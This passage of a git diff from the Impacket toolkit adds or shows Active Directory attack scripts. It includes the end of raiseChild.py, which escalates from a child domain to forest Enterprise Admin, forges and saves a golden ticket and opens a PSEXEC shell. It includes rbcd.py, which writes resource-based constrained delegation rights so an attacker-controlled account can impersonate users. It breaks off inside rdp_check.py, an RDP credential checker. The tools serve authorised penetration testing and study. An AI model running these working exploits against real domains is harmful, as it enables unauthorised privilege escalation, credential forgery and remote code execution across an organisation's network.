+        # 1) Find out where the child domain controller is located and get its info (via [MS-NRPC])
+        childCreds = self.__creds
+        childName, forestName = self.getChildInfo(self.__creds)
+        logging.info('Raising child domain %s' % childName)
+
+        # 2) Find out what the forest FQDN is (via [MS-NRPC])
+        logging.info('Forest FQDN is: %s' % forestName)
+
+        # Let's raise up our child!
+        targetCreds, parentTGT, parentTGS = self.raiseUp(childName, childCreds, forestName)
+
+        # 7) If file was specified, save the golden ticket in ccache format
+        if self.__writeTGT is not None:
+            logging.info('Saving golden ticket into %s' % self.__writeTGT)
+            from impacket.krb5.ccache import CCache
+            ccache = CCache()
+            ccache.fromTGT(parentTGT['KDC_REP'], parentTGT['oldSessionKey'], parentTGT['sessionKey'])
+            ccache.saveFile(self.__writeTGT)
+
+        # 8) If target was specified, a PSEXEC shell is launched
+        if self.__target is not None:
+            logging.info('Opening PSEXEC shell at %s' % self.__target)
+            from impacket.smbconnection import SMBConnection
+            s = SMBConnection('*SMBSERVER', self.__target)
+            s.kerberosLogin(targetCreds['username'], '', targetCreds['domain'], targetCreds['lmhash'],
+                            targetCreds['nthash'], useCache=False)
+
+            if self.__command != 'None':
+                executer = PSEXEC(self.__command, targetCreds['username'], targetCreds['domain'], s, None, None)
+                executer.run(self.__target)
+
+if __name__ == '__main__':
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Privilege Escalation from a child domain up to its "
+                                                                    "forest")
+
+    parser.add_argument('target', action='store', help='domain/username[:password]')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-w', action='store',metavar = "pathname",  help='writes the golden ticket in CCache format '
+                                                                         'into the <pathname> file')
+    #parser.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller (needed to get the user''s SID). If omitted it will use the domain part (FQDN) specified in the target parameter')
+    parser.add_argument('-target-exec', action='store',metavar = "target address",  help='Target host you want to PSEXEC '
+                        'against once the main attack finished')
+    parser.add_argument('-targetRID', action='store', metavar = "RID", default='500', help='Target user RID you want to '
+                        'dump credentials. Administrator (500) by default.')
+
+    group = parser.add_argument_group('authentication')
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                       'ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        print("\nExamples: ")
+        print("\tpython raiseChild.py childDomain.net/adminuser\n")
+        print("\tthe password will be asked, or\n")
+        print("\tpython raiseChild.py childDomain.net/adminuser:mypwd\n")
+        print("\tor if you just have the hashes\n")
+        print("\tpython raiseChild.py -hashes LMHASH:NTHASH childDomain.net/adminuser\n")
+
+        print("\tThis will perform the attack and then psexec against target-exec as Enterprise Admin")
+        print("\tpython raiseChild.py -target-exec targetHost childDomainn.net/adminuser\n")
+        print("\tThis will perform the attack and then psexec against target-exec as User with RID 1101")
+        print("\tpython raiseChild.py -target-exec targetHost -targetRID 1101 childDomainn.net/adminuser\n")
+        print("\tThis will save the final goldenTicket generated in the ccache target file")
+        print("\tpython raiseChild.py -w ccache childDomain.net/adminuser\n")
+        sys.exit(1)
+ 
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    domain, username, password = parse_credentials(options.target)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    if domain == '':
+        logging.critical('Domain should be specified!')
+        sys.exit(1)
+
+    if password == '' and username != '' and options.hashes is None and options.aesKey is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    if options.aesKey is not None:
+        options.k = True
+
+    commands = 'cmd.exe'
+
+    try:
+        pacifier = RAISECHILD(options.target_exec, username, password, domain, options, commands)
+        pacifier.exploit()
+    except SessionError as e:
+        logging.critical(str(e))
+        if e.getErrorCode() == STATUS_NO_LOGON_SERVERS:
+            logging.info('Try using Kerberos authentication (-k switch). That might help solving the STATUS_NO_LOGON_SERVERS issue')
+    except Exception as e:
+        logging.debug('Exception:', exc_info=True)
+        logging.critical(str(e))
+        if hasattr(e, 'error_code'):
+            if e.error_code == 0xc0000073:
+                logging.info("Account not found in domain. (RID:%s)" % options.targetRID)
diff --git a/examples/rbcd.py b/examples/rbcd.py
new file mode 100644
index 0000000..0521bc3
--- /dev/null
+++ b/examples/rbcd.py
@@ -0,0 +1,553 @@
+#!/usr/bin/env python3
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer
+#
+# Authors:
+#   Remi Gascou (@podalirius_)
+#   Charlie Bromberg (@_nwodtuhs)
+#
+#  ToDo:
+# [ ]: allow users to set a ((-delegate-from-sid or -delegate-from-dn) and -delegate-to-dn) in order to skip ldapdomaindump and explicitely set the SID/DN
+
+import argparse
+import logging
+import sys
+import traceback
+import ldap3
+import ssl
+import ldapdomaindump
+from binascii import unhexlify
+from ldap3.protocol.formatters.formatters import format_sid
+
+from impacket import version
+from impacket.examples import logger, utils
+from impacket.ldap import ldaptypes
+from impacket.smbconnection import SMBConnection
+from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
+from ldap3.utils.conv import escape_filter_chars
+
+
+def get_machine_name(args, domain):
+    if args.dc_ip is not None:
+        s = SMBConnection(args.dc_ip, args.dc_ip)
+    else:
+        s = SMBConnection(domain, domain)
+    try:
+        s.login('', '')
+    except Exception:
+        if s.getServerName() == '':
+            raise Exception('Error while anonymous logging into %s' % domain)
+    else:
+        s.logoff()
+    return s.getServerName()
+
+
+def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None,
+                         TGT=None, TGS=None, useCache=True):
+    from pyasn1.codec.ber import encoder, decoder
+    from pyasn1.type.univ import noValue
+    """
+    logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
+    :param string user: username
+    :param string password: password for the user
+    :param string domain: domain where the account is valid for (required)
+    :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
+    :param string nthash: NTHASH used to authenticate using hashes (password is not used)
+    :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
+    :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
+    :param struct TGT: If there's a TGT available, send the structure here and it will be used
+    :param struct TGS: same for TGS. See smb3.py for the format
+    :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
+    :return: True, raises an Exception if error.
+    """
+
+    if lmhash != '' or nthash != '':
+        if len(lmhash) % 2:
+            lmhash = '0' + lmhash
+        if len(nthash) % 2:
+            nthash = '0' + nthash
+        try:  # just in case they were converted already
+            lmhash = unhexlify(lmhash)
+            nthash = unhexlify(nthash)
+        except TypeError:
+            pass
+
+    # Importing down here so pyasn1 is not required if kerberos is not used.
+    from impacket.krb5.ccache import CCache
+    from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
+    from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
+    from impacket.krb5 import constants
+    from impacket.krb5.types import Principal, KerberosTime, Ticket
+    import datetime
+
+    if TGT is not None or TGS is not None:
+        useCache = False
+
+    target = 'ldap/%s' % target
+    if useCache:
+        domain, user, TGT, TGS = CCache.parseFile(domain, user, target)
+
+    # First of all, we need to get a TGT for the user
+    userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+    if TGT is None:
+        if TGS is None:
+            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
+                                                                    aesKey, kdcHost)
+    else:
+        tgt = TGT['KDC_REP']
+        cipher = TGT['cipher']
+        sessionKey = TGT['sessionKey']
+
+    if TGS is None:
+        serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value)
+        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
+                                                                sessionKey)
+    else:
+        tgs = TGS['KDC_REP']
+        cipher = TGS['cipher']
+        sessionKey = TGS['sessionKey']
+
+        # Let's build a NegTokenInit with a Kerberos REQ_AP
+
+    blob = SPNEGO_NegTokenInit()
+
+    # Kerberos
+    blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
+
+    # Let's extract the ticket from the TGS
+    tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
+    ticket = Ticket()
+    ticket.from_asn1(tgs['ticket'])
+
+    # Now let's build the AP_REQ
+    apReq = AP_REQ()
+    apReq['pvno'] = 5
+    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+    opts = []
+    apReq['ap-options'] = constants.encodeFlags(opts)
+    seq_set(apReq, 'ticket', ticket.to_asn1)
+
+    authenticator = Authenticator()
+    authenticator['authenticator-vno'] = 5
+    authenticator['crealm'] = domain
+    seq_set(authenticator, 'cname', userName.components_to_asn1)
+    now = datetime.datetime.utcnow()
+
+    authenticator['cusec'] = now.microsecond
+    authenticator['ctime'] = KerberosTime.to_asn1(now)
+
+    encodedAuthenticator = encoder.encode(authenticator)
+
+    # Key Usage 11
+    # AP-REQ Authenticator (includes application authenticator
+    # subkey), encrypted with the application session key
+    # (Section 5.5.1)
+    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
+
+    apReq['authenticator'] = noValue
+    apReq['authenticator']['etype'] = cipher.enctype
+    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
+
+    blob['MechToken'] = encoder.encode(apReq)
+
+    request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO',
+                                                  blob.getData())
+
+    # Done with the Kerberos saga, now let's get into LDAP
+    if connection.closed:  # try to open connection if closed
+        connection.open(read_server_info=False)
+
+    connection.sasl_in_progress = True
+    response = connection.post_send_single_response(connection.send('bindRequest', request, None))
+    connection.sasl_in_progress = False
+    if response[0]['result'] != 0:
+        raise Exception(response)
+
+    connection.bound = True
+
+    return True
+
+
+def create_empty_sd():
+    sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
+    sd['Revision'] = b'\x01'
+    sd['Sbz1'] = b'\x00'
+    sd['Control'] = 32772
+    sd['OwnerSid'] = ldaptypes.LDAP_SID()
+    # BUILTIN\Administrators
+    sd['OwnerSid'].fromCanonical('S-1-5-32-544')
+    sd['GroupSid'] = b''
+    sd['Sacl'] = b''
+    acl = ldaptypes.ACL()
+    acl['AclRevision'] = 4
+    acl['Sbz1'] = 0
+    acl['Sbz2'] = 0
+    acl.aces = []
+    sd['Dacl'] = acl
+    return sd
+
+
+# Create an ALLOW ACE with the specified sid
+def create_allow_ace(sid):
+    nace = ldaptypes.ACE()
+    nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
+    nace['AceFlags'] = 0x00
+    acedata = ldaptypes.ACCESS_ALLOWED_ACE()
+    acedata['Mask'] = ldaptypes.ACCESS_MASK()
+    acedata['Mask']['Mask'] = 983551  # Full control
+    acedata['Sid'] = ldaptypes.LDAP_SID()
+    acedata['Sid'].fromCanonical(sid)
+    nace['Ace'] = acedata
+    return nace
+
+
+class RBCD(object):
+    """docstring for setrbcd"""
+
+    def __init__(self, ldap_server, ldap_session, delegate_to):
+        super(RBCD, self).__init__()
+        self.ldap_server = ldap_server
+        self.ldap_session = ldap_session
+        self.delegate_from = None
+        self.delegate_to = delegate_to
+        self.SID_delegate_from = None
+        self.DN_delegate_to = None
+        logging.debug('Initializing domainDumper()')
+        cnf = ldapdomaindump.domainDumpConfig()
+        cnf.basepath = None
+        self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf)
+
+    def read(self):
+        # Get target computer DN
+        result = self.get_user_info(self.delegate_to)
+        if not result:
+            logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
+            return
+        self.DN_delegate_to = result[0]
+
+        # Get list of allowed to act
+        self.get_allowed_to_act()
+
+        return
+
+    def write(self, delegate_from):
+        self.delegate_from = delegate_from
+
+        # Get escalate user sid
+        result = self.get_user_info(self.delegate_from)
+        if not result:
+            logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)')
+            return
+        self.SID_delegate_from = str(result[1])
+
+        # Get target computer DN
+        result = self.get_user_info(self.delegate_to)
+        if not result:
+            logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
+            return
+        self.DN_delegate_to = result[0]
+
+        # Get list of allowed to act and build security descriptor including previous data
+        sd, targetuser = self.get_allowed_to_act()
+
+        # writing only if SID not already in list
+        if self.SID_delegate_from not in [ ace['Ace']['Sid'].formatCanonical() for ace in sd['Dacl'].aces ]:
+            sd['Dacl'].aces.append(create_allow_ace(self.SID_delegate_from))
+            self.ldap_session.modify(targetuser['dn'],
+                                     {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE,
+                                                                                   [sd.getData()]]})
+            if self.ldap_session.result['result'] == 0:
+                logging.info('Delegation rights modified successfully!')
+                logging.info('%s can now impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)
+            else:
+                if self.ldap_session.result['result'] == 50:
+                    logging.error('Could not modify object, the server reports insufficient rights: %s',
+                                  self.ldap_session.result['message'])
+                elif self.ldap_session.result['result'] == 19:
+                    logging.error('Could not modify object, the server reports a constrained violation: %s',
+                                  self.ldap_session.result['message'])
+                else:
+                    logging.error('The server returned an error: %s', self.ldap_session.result['message'])
+        else:
+            logging.info('%s can already impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)
+            logging.info('Not modifying the delegation rights.')
+        # Get list of allowed to act
+        self.get_allowed_to_act()
+        return
+
+    def remove(self, delegate_from):
+        self.delegate_from = delegate_from
+
+        # Get escalate user sid
+        result = self.get_user_info(self.delegate_from)
+        if not result:
+            logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)')
+            return
+        self.SID_delegate_from = str(result[1])
+
+        # Get target computer DN
+        result = self.get_user_info(self.delegate_to)
+        if not result:
+            logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
+            return
+        self.DN_delegate_to = result[0]
+
+        # Get list of allowed to act and build security descriptor including that data
+        sd, targetuser = self.get_allowed_to_act()
+
+        # Remove the entries where SID match the given -delegate-from
+        sd['Dacl'].aces = [ace for ace in sd['Dacl'].aces if self.SID_delegate_from != ace['Ace']['Sid'].formatCanonical()]
+        self.ldap_session.modify(targetuser['dn'],
+                                 {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]})
+
+        if self.ldap_session.result['result'] == 0:
+            logging.info('Delegation rights modified successfully!')
+        else:
+            if self.ldap_session.result['result'] == 50:
+                logging.error('Could not modify object, the server reports insufficient rights: %s',
+                              self.ldap_session.result['message'])
+            elif self.ldap_session.result['result'] == 19:
+                logging.error('Could not modify object, the server reports a constrained violation: %s',
+                              self.ldap_session.result['message'])
+            else:
+                logging.error('The server returned an error: %s', self.ldap_session.result['message'])
+        # Get list of allowed to act
+        self.get_allowed_to_act()
+        return
+
+    def flush(self):
+        # Get target computer DN
+        result = self.get_user_info(self.delegate_to)
+        if not result:
+            logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
+            return
+        self.DN_delegate_to = result[0]
+
+        # Get list of allowed to act
+        sd, targetuser = self.get_allowed_to_act()
+
+        self.ldap_session.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, []]})
+        if self.ldap_session.result['result'] == 0:
+            logging.info('Delegation rights flushed successfully!')
+        else:
+            if self.ldap_session.result['result'] == 50:
+                logging.error('Could not modify object, the server reports insufficient rights: %s',
+                              self.ldap_session.result['message'])
+            elif self.ldap_session.result['result'] == 19:
+                logging.error('Could not modify object, the server reports a constrained violation: %s',
+                              self.ldap_session.result['message'])
+            else:
+                logging.error('The server returned an error: %s', self.ldap_session.result['message'])
+        # Get list of allowed to act
+        self.get_allowed_to_act()
+        return
+
+    def get_allowed_to_act(self):
+        # Get target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute
+        self.ldap_session.search(self.DN_delegate_to, '(objectClass=*)', search_scope=ldap3.BASE,
+                                 attributes=['SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
+        targetuser = None
+        for entry in self.ldap_session.response:
+            if entry['type'] != 'searchResEntry':
+                continue
+            targetuser = entry
+        if not targetuser:
+            logging.error('Could not query target user properties')
+            return
+
+        try:
+            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(
+                data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
+            if len(sd['Dacl'].aces) > 0:
+                logging.info('Accounts allowed to act on behalf of other identity:')
+                for ace in sd['Dacl'].aces:
+                    SID = ace['Ace']['Sid'].formatCanonical()
+                    SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1]
+                    logging.info('    %-10s   (%s)' % (SamAccountName, SID))
+            else:
+                logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
+        except IndexError:
+            logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
+            # Create DACL manually
+            sd = create_empty_sd()
+        return sd, targetuser
+
+    def get_user_info(self, samname):
+        self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
+        try:
+            dn = self.ldap_session.entries[0].entry_dn
+            sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])
+            return dn, sid
+        except IndexError:
+            logging.error('User not found in LDAP: %s' % samname)
+            return False
+
+    def get_sid_info(self, sid):
+        self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % escape_filter_chars(sid), attributes=['samaccountname'])
+        try:
+            dn = self.ldap_session.entries[0].entry_dn
+            samname = self.ldap_session.entries[0]['samaccountname']
+            return dn, samname
+        except IndexError:
+            logging.error('SID not found in LDAP: %s' % sid)
+            return False
+
+def parse_args():
+    parser = argparse.ArgumentParser(add_help=True,
+                                     description='Python (re)setter for property msDS-AllowedToActOnBehalfOfOtherIdentity for Kerberos RBCD attacks.')
+    parser.add_argument('identity', action='store', help='domain.local/username[:password]')
+    parser.add_argument("-delegate-to", type=str, required=True,
+                        help="Target account the DACL is to be read/edited/etc.")
+    parser.add_argument("-delegate-from", type=str, required=False,
+                        help="Attacker controlled account to write on the rbcd property of -delegate-to (only when using `-action write`)")
+    parser.add_argument('-action', choices=['read', 'write', 'remove', 'flush'], nargs='?', default='read',
+                        help='Action to operate on msDS-AllowedToActOnBehalfOfOtherIdentity')
+
+    parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP')
+
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('authentication')
+    group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true",
+                       help='Use Kerberos authentication. Grabs credentials from ccache file '
+                            '(KRB5CCNAME) based on target parameters. If valid credentials '
+                            'cannot be found, it will use the ones specified in the command '
+                            'line')
+    group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
+                                                                          '(128 or 256 bits)')
+
+    group = parser.add_argument_group('connection')
+
+    group.add_argument('-dc-ip', action='store', metavar="ip address",
+                       help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If '
+                            'omitted it will use the domain part (FQDN) specified in '
+                            'the identity parameter')
+
+    if len(sys.argv) == 1:
+        parser.print_help()
+        sys.exit(1)
+
+    return parser.parse_args()
+
+
+def parse_identity(args):
+    domain, username, password = utils.parse_credentials(args.identity)
+
+    if domain == '':
+        logging.critical('Domain should be specified!')
+        sys.exit(1)
+
+    if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None:
+        from getpass import getpass
+        logging.info("No credentials supplied, supply password")
+        password = getpass("Password:")
+
+    if args.aesKey is not None:
+        args.k = True
+
+    if args.hashes is not None:
+        lmhash, nthash = args.hashes.split(':')
+    else:
+        lmhash = ''
+        nthash = ''
+
+    return domain, username, password, lmhash, nthash
+
+
+def init_logger(args):
+    # Init the example's logger theme and debug level
+    logger.init(args.ts)
+    if args.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+        logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
+
+
+def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash):
+    user = '%s\\%s' % (domain, username)
+    if tls_version is not None:
+        use_ssl = True
+        port = 636
+        tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version)
+    else:
+        use_ssl = False
+        port = 389
+        tls = None
+    ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls)
+    if args.k:
+        ldap_session = ldap3.Connection(ldap_server)
+        ldap_session.bind()
+        ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip)
+    elif args.hashes is not None:
+        ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True)
+    else:
+        ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True)
+
+    return ldap_server, ldap_session
+
+
+def init_ldap_session(args, domain, username, password, lmhash, nthash):
+    if args.k:
+        target = get_machine_name(args, domain)
+    else:
+        if args.dc_ip is not None:
+            target = args.dc_ip
+        else:
+            target = domain
+
+    if args.use_ldaps is True:
+        try:
+            return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash)
+        except ldap3.core.exceptions.LDAPSocketOpenError:
+            return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash)
+    else:
+        return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash)
+
+
+def main():
+    print(version.BANNER)
+    args = parse_args()
+    init_logger(args)
+
+    if args.action == 'write' and args.delegate_from is None:
+        logging.critical('`-delegate-from` should be specified when using `-action write` !')
+        sys.exit(1)
+
+    domain, username, password, lmhash, nthash = parse_identity(args)
+    if len(nthash) > 0 and lmhash == "":
+        lmhash = "aad3b435b51404eeaad3b435b51404ee"
+
+    try:
+        ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash)
+        rbcd = RBCD(ldap_server, ldap_session, args.delegate_to)
+        if args.action == 'read':
+            rbcd.read()
+        elif args.action == 'write':
+            rbcd.write(args.delegate_from)
+        elif args.action == 'remove':
+            rbcd.remove(args.delegate_from)
+        elif args.action == 'flush':
+            rbcd.flush()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            traceback.print_exc()
+        logging.error(str(e))
+
+
+if __name__ == '__main__':
+    main()
diff --git a/examples/rdp_check.py b/examples/rdp_check.py
new file mode 100644
index 0000000..ac19548
--- /dev/null
+++ b/examples/rdp_check.py
@@ -0,0 +1,574 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-RDPBCGR] and [MS-CREDSSP] partial implementation
+#   just to reach CredSSP auth. This example test whether
+#   an account is valid on the target host.
+#
+# Author:
+#  Alberto Solino (@agsolino)
+#
+# ToDo:
+#   [x] Manage to grab the server's SSL key so we can finalize the whole
+#        authentication process (check [MS-CSSP] section 3.1.5)
+#
+
+from struct import pack, unpack
+
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket.structure import Structure
+from impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode
+
+TDPU_CONNECTION_REQUEST  = 0xe0
+TPDU_CONNECTION_CONFIRM  = 0xd0
+TDPU_DATA                = 0xf0
+TPDU_REJECT              = 0x50
+TPDU_DATA_ACK            = 0x60
+
+# RDP_NEG_REQ constants
+TYPE_RDP_NEG_REQ = 1
+PROTOCOL_RDP     = 0
+PROTOCOL_SSL     = 1
+PROTOCOL_HYBRID  = 2
+
+# RDP_NEG_RSP constants
+TYPE_RDP_NEG_RSP = 2
+EXTENDED_CLIENT_DATA_SUPPORTED = 1
+DYNVC_GFX_PROTOCOL_SUPPORTED   = 2
+
+# RDP_NEG_FAILURE constants
+TYPE_RDP_NEG_FAILURE                  = 3
+SSL_REQUIRED_BY_SERVER                = 1
+SSL_NOT_ALLOWED_BY_SERVER             = 2
+SSL_CERT_NOT_ON_SERVER                = 3
+INCONSISTENT_FLAGS                    = 4
+HYBRID_REQUIRED_BY_SERVER             = 5
+SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6
+
+class TPKT(Structure):
+    commonHdr = (
+        ('Version','B=3'),
+        ('Reserved','B=0'),
+        ('Length','>H=len(TPDU)+4'),
+        ('_TPDU','_-TPDU','self["Length"]-4'),
+        ('TPDU',':=""'),
+    )
+
+class TPDU(Structure):
+    commonHdr = (
+        ('LengthIndicator','B=len(VariablePart)+1'),
+        ('Code','B=0'),
+        ('VariablePart',':=""'),
+    )
+
+    def __init__(self, data = None):
+        Structure.__init__(self,data)
+        self['VariablePart']=''
+
+class CR_TPDU(Structure):
+    commonHdr = (
+        ('DST-REF','<H=0'),
+        ('SRC-REF','<H=0'),
+        ('CLASS-OPTION','B=0'),
+        ('Type','B=0'),
+        ('Flags','B=0'),
+        ('Length','<H=8'),
+    )
+
+class DATA_TPDU(Structure):
+    commonHdr = (
+        ('EOT','B=0x80'),
+        ('UserData',':=""'),
+    )
+
+    def __init__(self, data = None):
+        Structure.__init__(self,data)
+        self['UserData'] =''
+
+
+class RDP_NEG_REQ(CR_TPDU):
+    structure = (
+        ('requestedProtocols','<L'),
+    )
+    def __init__(self,data=None):
+        CR_TPDU.__init__(self,data)
+        if data is None:
+            self['Type'] = TYPE_RDP_NEG_REQ
+
+class RDP_NEG_RSP(CR_TPDU):
+    structure = (
+        ('selectedProtocols','<L'),
+    )
+
+class RDP_NEG_FAILURE(CR_TPDU):
+    structure = (
+        ('failureCode','<L'),
+    )
+
+class TSPasswordCreds(GSSAPI):
+# TSPasswordCreds ::= SEQUENCE {
+#         domainName  [0] OCTET STRING,
+#         userName    [1] OCTET STRING,
+#         password    [2] OCTET STRING
+# }
+   def __init__(self, data=None):
+       GSSAPI.__init__(self,data)
+       del self['UUID']
+  
+   def getData(self):
+       ans = pack('B', ASN1_SEQUENCE)
+       ans += asn1encode( pack('B', 0xa0) +
+              asn1encode( pack('B', ASN1_OCTET_STRING) + 
+              asn1encode( self['domainName'].encode('utf-16le'))) +
+              pack('B', 0xa1) + 
+              asn1encode( pack('B', ASN1_OCTET_STRING) + 
+              asn1encode( self['userName'].encode('utf-16le'))) +
+              pack('B', 0xa2) + 
+              asn1encode( pack('B', ASN1_OCTET_STRING) + 
+              asn1encode( self['password'].encode('utf-16le'))) )
+       return ans 
+
+class TSCredentials(GSSAPI):
+# TSCredentials ::= SEQUENCE {
+#        credType    [0] INTEGER,
+#        credentials [1] OCTET STRING
+# }
+   def __init__(self, data=None):
+       GSSAPI.__init__(self,data)
+       del self['UUID']
+
+   def getData(self):
+     # Let's pack the credentials field
+     credentials =  pack('B',0xa1) 
+     credentials += asn1encode(pack('B',ASN1_OCTET_STRING) +
+                    asn1encode(self['credentials']))
+
+     ans = pack('B',ASN1_SEQUENCE) 
+     ans += asn1encode( pack('B', 0xa0) +
+            asn1encode( pack('B', 0x02) + 
+            asn1encode( pack('B', self['credType']))) +
+            credentials)
+     return ans
+
+class TSRequest(GSSAPI):
+# TSRequest ::= SEQUENCE {
+#	version     [0] INTEGER,
+#       negoTokens  [1] NegoData OPTIONAL,
+#       authInfo    [2] OCTET STRING OPTIONAL,
+#	pubKeyAuth  [3] OCTET STRING OPTIONAL,
+#}
+#
+# NegoData ::= SEQUENCE OF SEQUENCE {
+#        negoToken [0] OCTET STRING
+#}
+#
+
+   def __init__(self, data=None):
+       GSSAPI.__init__(self,data)
+       del self['UUID']
+       
+   def fromString(self, data = None):
+       next_byte = unpack('B',data[:1])[0]
+       if next_byte != ASN1_SEQUENCE:
+           raise Exception('SEQUENCE expected! (%x)' % next_byte)
+       data = data[1:]
+       decode_data, total_bytes = asn1decode(data) 
+
+       next_byte = unpack('B',decode_data[:1])[0]
+       if next_byte !=  0xa0:
+            raise Exception('0xa0 tag not found %x' % next_byte)
+       decode_data = decode_data[1:]
+       next_bytes, total_bytes = asn1decode(decode_data)                
